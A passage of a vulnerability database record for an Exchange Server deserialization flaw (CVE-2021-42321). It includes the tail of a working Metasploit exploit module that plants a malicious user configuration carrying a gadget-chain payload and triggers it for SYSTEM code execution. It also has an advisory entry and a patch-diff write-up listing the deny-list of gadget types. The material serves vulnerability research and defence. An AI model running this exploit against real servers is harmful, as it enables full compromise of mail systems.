don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.code == 401\n fail_with(Failure::NoAccess, \"Server responded with 401 Unauthorized for user: #{datastore['DOMAIN']}\\\\#{username}\")\n end\n\n xml_getfolder = res.get_xml_document\n xml_getfolder.remove_namespaces!\n xml_tag = xml_getfolder.xpath('//FolderId')\n if xml_tag.empty?\n print_error('Are you sure the current user has logged in previously to set up their mailbox? It seems they may have not had a mailbox set up yet!')\n fail_with(Failure::UnexpectedReply, 'Response obtained but no FolderId element was found within it!')\n end\n unless xml_tag.attribute('Id') && xml_tag.attribute('ChangeKey')\n fail_with(Failure::UnexpectedReply, 'Response obtained without expected Id and ChangeKey elements!')\n end\n change_key_val = xml_tag.attribute('ChangeKey').value\n folder_id_val = xml_tag.attribute('Id').value\n print_good(\"ChangeKey value for Inbox folder is #{change_key_val}\")\n print_good(\"ID value for Inbox folder is #{folder_id_val}\")\n\n # Delete the user configuration object that currently on the Inbox folder.\n print_status('Deleting the user configuration object associated with Inbox folder...')\n xml_delete_inbox_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:DeleteUserConfiguration>\n <m:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </m:UserConfigurationName>\n </m:DeleteUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_delete_inbox_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n if res.body =~ %r{<m:DeleteUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:DeleteUserConfigurationResponseMessage>}\n print_good('Successfully deleted the user configuration object associated with the Inbox folder!')\n else\n print_warning('Was not able to successfully delete the existing user configuration on the Inbox folder!')\n print_warning('Sometimes this may occur when there is not an existing config applied to the Inbox folder (default 2016 installs have this issue)!')\n end\n\n # Now to replace the deleted user configuration object with our own user configuration object.\n print_status('Creating the malicious user configuration object on the Inbox folder!')\n\n xml_malicious_user_config = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:CreateUserConfiguration>\n <m:UserConfiguration>\n <t:UserConfigurationName Name=\"ExtensionMasterTable\">\n <t:FolderId Id=\"#{folder_id_val}\" ChangeKey=\"#{change_key_val}\" />\n </t:UserConfigurationName>\n <t:Dictionary>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgChkTm</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Integer64</t:Type>\n <t:Value>#{rand(1000000000000000000..9111999999999999999)}</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n <t:DictionaryEntry>\n <t:DictionaryKey>\n <t:Type>String</t:Type>\n <t:Value>OrgDO</t:Value>\n </t:DictionaryKey>\n <t:DictionaryValue>\n <t:Type>Boolean</t:Type>\n <t:Value>false</t:Value>\n </t:DictionaryValue>\n </t:DictionaryEntry>\n </t:Dictionary>\n <t:BinaryData>#{Rex::Text.encode_base64(Msf::Util::DotNetDeserialization.generate(cmd, gadget_chain: @gadget_chain, formatter: :BinaryFormatter))}</t:BinaryData>\n </m:UserConfiguration>\n </m:CreateUserConfiguration>\n </soap:Body>\n </soap:Envelope>)\n\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_malicious_user_config,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n fail_with(Failure::Unreachable, 'Connection failed') if res.nil?\n\n unless res&.body\n fail_with(Failure::UnexpectedReply, 'Response obtained but it was empty!')\n end\n\n unless res.body =~ %r{<m:CreateUserConfigurationResponseMessage ResponseClass=\"Success\"><m:ResponseCode>NoError</m:ResponseCode></m:CreateUserConfigurationResponseMessage>}\n fail_with(Failure::UnexpectedReply, 'Was not able to successfully create the malicious user configuration on the Inbox folder!')\n end\n\n print_good('Successfully created the malicious user configuration object and associated with the Inbox folder!')\n\n # Deserialize our object. If all goes well, you should now have SYSTEM :)\n print_status('Attempting to deserialize the user configuration object using a GetClientAccessToken request...')\n xml_get_client_access_token = %(<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <soap:Header>\n <t:RequestServerVersion Version=\"Exchange2013\" />\n </soap:Header>\n <soap:Body>\n <m:GetClientAccessToken>\n <m:TokenRequests>\n <t:TokenRequest>\n <t:Id>#{Rex::Text.rand_text_alphanumeric(4..50)}</t:Id>\n <t:TokenType>CallerIdentity</t:TokenType>\n </t:TokenRequest>\n </m:TokenRequests>\n </m:GetClientAccessToken>\n </soap:Body>\n </soap:Envelope>)\n\n begin\n send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'),\n 'data' => xml_get_client_access_token,\n 'ctype' => 'text/xml; charset=utf-8' # If you don't set this header, then we will end up sending a URL form request which Exchange will correctly complain about.\n }\n )\n rescue Errno::ECONNRESET\n # when using the DataSetTypeSpoof gadget, it's expected that this connection reset exception will be raised\n end\n end\nend\n", "sourceHref": "https://0day.today/exploit/37920", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:31:04", "description": "A remote code execution vulnerability exists in Microsoft Exchange Server. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-23T00:00:00", "type": "checkpoint_advisories", "title": "Microsoft Exchange Server Remote Code Execution (CVE-2021-42321)", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-23T00:00:00", "id": "CPAI-2021-0906", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2023-05-31T14:48:43", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at November 21, 2021 5:55pm UTC reported:\n\nA PoC for this vulnerability is now available at <https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398>. There is also a Metasploit module at <https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb>\n\nWhat follows is my writeup for this that I wrote a while back, containing info on finding the bug from the patches as well as some info on the side effects of exploiting this bug.\n\n# Intro\n\nAlright so looks like this bug, CVE-2021-42321 is a post authentication RCE bug.\n\nOnly affects Exchange 2016 CU 21 and CU 22. Also Exchange 2019 CU 10 and CU 11.\n\nFound bug fix by patch diffing the October 2021 security updates and the November 2021 patches. Aka <https://support.microsoft.com/help/5007409> which applies the November 2021 patch, and KB5007012 aka the October 2021 patch.\n\nPersonally I found that we can use [[7Zip]] to uncompress the MSI files from the patches, then use [[dnSpy]] from <https://github.com/dnSpy/dnSpy> to load all files in the directory we extract the patch contents to a folder. Note that [[ILSpy]] is a nice alternative however unfortunately it does run into issues with decompiling files that [[dnSpy]] can handle fine, so you end up missing lots of files from the export.\n\nOnce decompilation is done use `File->Remove assemblies with load errors` to remove the extra files that couldn\u2019t be decompiled, then use `File -> Save Code` after selecting every single file in the code and it should show us the opportunity to create a new project to save the code to.\n\nFrom here we can create a new directory to save the code into and tell it to save the decompiled code into that.\n\nFrom there we can use [[Meld]] to do a directory diff of the files from the two patch files to see what changed.\n\n# Analyzing the Diff\n\n## Finding the Changed Files\n\nLooking at just the new/removed files we can see the following:\n\n![[Pasted image 20220205113200.png]]\n\nAs we can see here of particular note given this is a serialization bug is the fact that `Microsoft.Exchange.Compliance.dll` had three files removed from it, specifically under the `Microsoft.Exchange.Compliance\\Compliance\\Serialiation\\Formatters` directory for the following files:\n\n * TypedBinaryFormatter.cs \n\n * TypedSerialiationFormatter.cs \n\n * TypedSoapFormatter.cs \n\n\n## Narrowing in on The Vulnerable File \u2013 TypedBinaryFormatter.cs\n\nLooking through these files we can see that `TypedBinaryFormatter.cs` has a function named `Deserialize` with the following prototype:\n \n \n // Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter \n using System.IO; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n private static object Deserialize(Stream serializationStream, SerializationBinder binder) \n { \n \u00a0\u00a0\u00a0\u00a0return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ComplianceFormatter, strictMode: false, allowedTypes, allowedGenerics).Deserialize(serializationStream); \n }\n \n\nWhat is interesting here is that `binder` is a `SerializationBinder`, which is a essentially a class that acts as a controller to tell the program what can be and can\u2019t be serialized and deserialized. Yet this is never passed into the `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` function, so it never gets this crucial information on what it is meant to be blocking as far as deserialization goes.\n\n## Examining Deserialize() Function Call to CallExchangeBinaryFormatterFactory.CreateBinaryFormatter()\n\nLets see where `ExchangeBinaryFormatterFactory.CreateBinaryFormatter` is defined. Looking for the string `ExchangeBinaryFormatter` in [[dnSpy]] will bring us to `Microsoft.Exchange.Diagnostics.dll` under the `Microsoft.Exchange.Diagnostics` namespace, then the `ExchangeBinaryFormatterFactory` we can see the definition for `ExchangeBinaryFormatterFactory.CreateBinaryFormatter()` as:\n \n \n // Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory \n using System.Runtime.Serialization.Formatters.Binary; \n \n public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0return new BinaryFormatter \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics) \n \u00a0\u00a0\u00a0\u00a0}; \n }\n \n\nNote also that in the original call `strictMode` was set to `false` and the `allowList` and `allowedGenerics` were set to `TypedBinaryFormatter.allowedTypes`, and `TypedBinaryFormatter.allowedGenerics` respectively. Meanwhile `useageLocation` was set to `DeserializeLocation.ComplianceFormatter`.\n\nThis will mean that we end up calling `ChainedSerializationBinder` with:\n\n * `strictMode` set to `false`, \n\n * `allowList` set to `TypedBinaryFormatter.allowedTypes` \n\n * `allowedGenerics` set to `TypedBinaryFormatter.allowedGenerics` \n\n * `usageLocation` set to `DeserializeLocation.ComplianceFormatter`. \n\n\n## Examining ChainedSerializationBinder Class Deeper\n\nIf we look at the code we can see that a new `ChainedSerializationBinder` instance is being created so lets take a look at that.\n\nWe can see the definition of the initialization function here:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n \n public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) \n { \n \u00a0\u00a0\u00a0\u00a0this.strictMode = strictMode; \n \u00a0\u00a0\u00a0\u00a0allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null); \n \u00a0\u00a0\u00a0\u00a0allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null); \n \u00a0\u00a0\u00a0\u00a0typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s))); \n \u00a0\u00a0\u00a0\u00a0location = usageLocation; \n }\n \n\nHere we can see that `allowedTypesForDeserialization` is set to `TypedBinaryFormatter.allowedTypes` and `allowedGenericsForDeserialization` is set to `TypedBinaryFormatter.allowedGenerics`. Furthermore, `this.strictMode` is set to `false`, and `location` is set to `DeserializeLocation.ComplianceFormatter`.\n\nNext we should know that `BindToType()` is used to validate the class for deserialization. So lets take a look at that logic inside the `ChainedSerializationBinder` class.\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n public override Type BindToType(string assemblyName, string typeName) \n { \n \u00a0\u00a0\u00a0\u00a0if (serializationOnly) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException(\"ChainedSerializationBinder was created for serialization only.\u00a0\u00a0This instance cannot be used for deserialization.\"); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0Type type = InternalBindToType(assemblyName, typeName); \n \u00a0\u00a0\u00a0\u00a0if (type != null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0ValidateTypeToDeserialize(type); \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0return type; \n }\n \n\nSince `serializationOnly` isn\u2019t set, we will skip this logic and get the type using `InternalBindToType()` which is a simple wrapper around `LoadType()` with no validation:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n protected virtual Type InternalBindToType(string assemblyName, string typeName) \n { \n \u00a0\u00a0\u00a0\u00a0return LoadType(assemblyName, typeName); \n }\n \n\nAfter getting the type we then check the type wasn\u2019t `null`, aka we were able to find a valid type, and we call `ValidateTypeToDeserialize(type)` to validate that the type is okay to deserialize.\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n \n protected void ValidateTypeToDeserialize(Type typeToDeserialize) \n { \n \u00a0\u00a0\u00a0\u00a0if (typeToDeserialize == null) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0string fullName = typeToDeserialize.FullName; \n \u00a0\u00a0\u00a0\u00a0bool flag = strictMode; \n \u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException($\"Type {fullName} failed deserialization (BlockList).\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize.IsConstructedGenericType) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fullName = typeToDeserialize.GetGenericTypeDefinition().FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0catch (BlockedDeserializeTypeException ex) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\nHere is where the code gets interesting. You see, there is only one catch statement, which is designed to catch all `BlockedDeserializationTypeException` errors, however `if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName))` will result in an unhandled `InvalidOperationException` being thrown if both `strictMode` isn\u2019t set and the type we are trying to deserialize is within the `GlobalDisallowedTypesForDeserialization` and has not been granted exception via the `allowedTypesForDeserialization` list. Since `strictMode` is not set, there is the very real possibility this exception might be thrown, so this is something we have to watch out for.\n\nOtherwise every other exception thrown will be caught by this `catch (BlockedDeserializeTypeException ex)` code, however it will interestingly log the exception as a `DeserializationTypeLogger.BlockStatus.WouldBeBlocked` error since `strictMode` is set to false as is `flag` which is set as `bool flag = strictMode;` earlier in the code.\n\nAdditionally since `flag` isn\u2019t set since `strictMode` is set to `false`, no error is thrown and the code proceeds normally without any errors.\n\nHowever what is in this blacklist denoted by `GlobalDisallowedTypesForDeserialization`? Lets find out. First we need to find out how `GlobalDisallowedTypesForDeserialization` is defined.\n\n## Looking Deeper at GlobalDisallowedTypesForDeserialization Type Blacklist \u2013 Aka Finding the Bug\n\nLooking at the code for `Microsoft.Exchange.Diagnostics.ChainedSerializationBinder` we can see that `GlobalDisallowedTypesForDeserialization` is actually set to the result of `BuildDisallowedTypesForDeserialization()` when it is initialized:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System; \n using System.Collections.Generic; \n using System.IO; \n using System.Linq; \n using System.Reflection; \n using System.Runtime.Serialization; \n using Microsoft.Exchange.Diagnostics; \n \n public class ChainedSerializationBinder : SerializationBinder \n { \n \u00a0\u00a0\u00a0\u00a0private const string TypeFormat = \"{0}, {1}\"; \n \n \u00a0\u00a0\u00a0\u00a0private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(string).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(int).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(uint).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(long).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ulong).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(double).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(float).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(bool).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(short).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(ushort).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(byte).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(char).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(DateTime).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(TimeSpan).FullName, \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeof(Guid).FullName \n \u00a0\u00a0\u00a0\u00a0}; \n \n \u00a0\u00a0\u00a0\u00a0private bool strictMode; \n \n \u00a0\u00a0\u00a0\u00a0private DeserializeLocation location; \n \n \u00a0\u00a0\u00a0\u00a0private Func<string, Type> typeResolver; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedTypesForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private HashSet<string> allowedGenericsForDeserialization; \n \n \u00a0\u00a0\u00a0\u00a0private bool serializationOnly; \n \n \u00a0\u00a0\u00a0\u00a0protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization();\n \n\nIf we decompile this function we can notice something interesting:\n \n \n // Microsoft.Exchange.Diagnostics.ChainedSerializationBinder \n using System.Collections.Generic;\n \n private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\",\n \t\t\t\"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\",\n \t\t\t\"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\",\n \t\t\t\"Microsoft.Management.UI.Internal.FilterRuleExtensions\",\n \t\t\t\"Microsoft.Management.UI.FilterRuleExtensions\",\n \t\t\t\"Microsoft.Reporting.RdlCompile.ReadStateFile\",\n \t\t\t\"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\",\n \t\t\t\"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\",\n \t\t\t\"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\",\n \t\t\t\"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\",\n \t\t\t\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\",\n \t\t\t\"Microsoft.VisualStudio.Publish.BaseProvider.Util\",\n \t\t\t\"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\",\n \t\t\t\"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\",\n \t\t\t\"Microsoft.Web.Design.Remote.ProxyObject\",\n \t\t\t\"System.Activities.Presentation.WorkflowDesigner\",\n \t\t\t\"System.AddIn.Hosting.AddInStore\",\n \t\t\t\"System.AddIn.Hosting.Utils\",\n \t\t\t\"System.CodeDom.Compiler.TempFileCollection\",\n \t\t\t\"System.Collections.Hashtable\",\n \t\t\t\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\",\n \t\t\t\"System.Configuration.Install.AssemblyInstaller\",\n \t\t\t\"System.Configuration.SettingsPropertyValue\",\n \t\t\t\"System.Data.DataSet\",\n \t\t\t\"System.Data.DataViewManager\",\n \t\t\t\"System.Data.Design.MethodSignatureGenerator\",\n \t\t\t\"System.Data.Design.TypedDataSetGenerator\",\n \t\t\t\"System.Data.Design.TypedDataSetSchemaImporterExtension\",\n \t\t\t\"System.Data.SerializationFormat\",\n \t\t\t\"System.DelegateSerializationHolder\",\n \t\t\t\"System.Drawing.Design.ToolboxItemContainer\",\n \t\t\t\"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\",\n \t\t\t\"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\",\n \t\t\t\"System.IdentityModel.Tokens.SessionSecurityToken\",\n \t\t\t\"System.IdentityModel.Tokens.SessionSecurityTokenHandler\",\n \t\t\t\"System.IO.FileSystemInfo\",\n \t\t\t\"System.Management.Automation.PSObject\",\n \t\t\t\"System.Management.IWbemClassObjectFreeThreaded\",\n \t\t\t\"System.Messaging.BinaryMessageFormatter\",\n \t\t\t\"System.Resources.ResourceReader\",\n \t\t\t\"System.Resources.ResXResourceSet\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapClientFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapServerFormatterSink\",\n \t\t\t\"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\",\n \t\t\t\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\",\n \t\t\t\"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\",\n \t\t\t\"System.Runtime.Serialization.NetDataContractSerializer\",\n \t\t\t\"System.Security.Claims.ClaimsIdentity\",\n \t\t\t\"System.Security.ClaimsPrincipal\",\n \t\t\t\"System.Security.Principal.WindowsIdentity\",\n \t\t\t\"System.Security.Principal.WindowsPrincipal\",\n \t\t\t\"System.Security.SecurityException\",\n \t\t\t\"System.Web.Security.RolePrincipal\",\n \t\t\t\"System.Web.Script.Serialization.JavaScriptSerializer\",\n \t\t\t\"System.Web.Script.Serialization.SimpleTypeResolver\",\n \t\t\t\"System.Web.UI.LosFormatter\",\n \t\t\t\"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\",\n \t\t\t\"System.Web.UI.ObjectStateFormatter\",\n \t\t\t\"System.Windows.Data.ObjectDataProvider\",\n \t\t\t\"System.Windows.Forms.AxHost+State\",\n \t\t\t\"System.Windows.ResourceDictionary\",\n \t\t\t\"System.Workflow.ComponentModel.Activity\",\n \t\t\t\"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\",\n 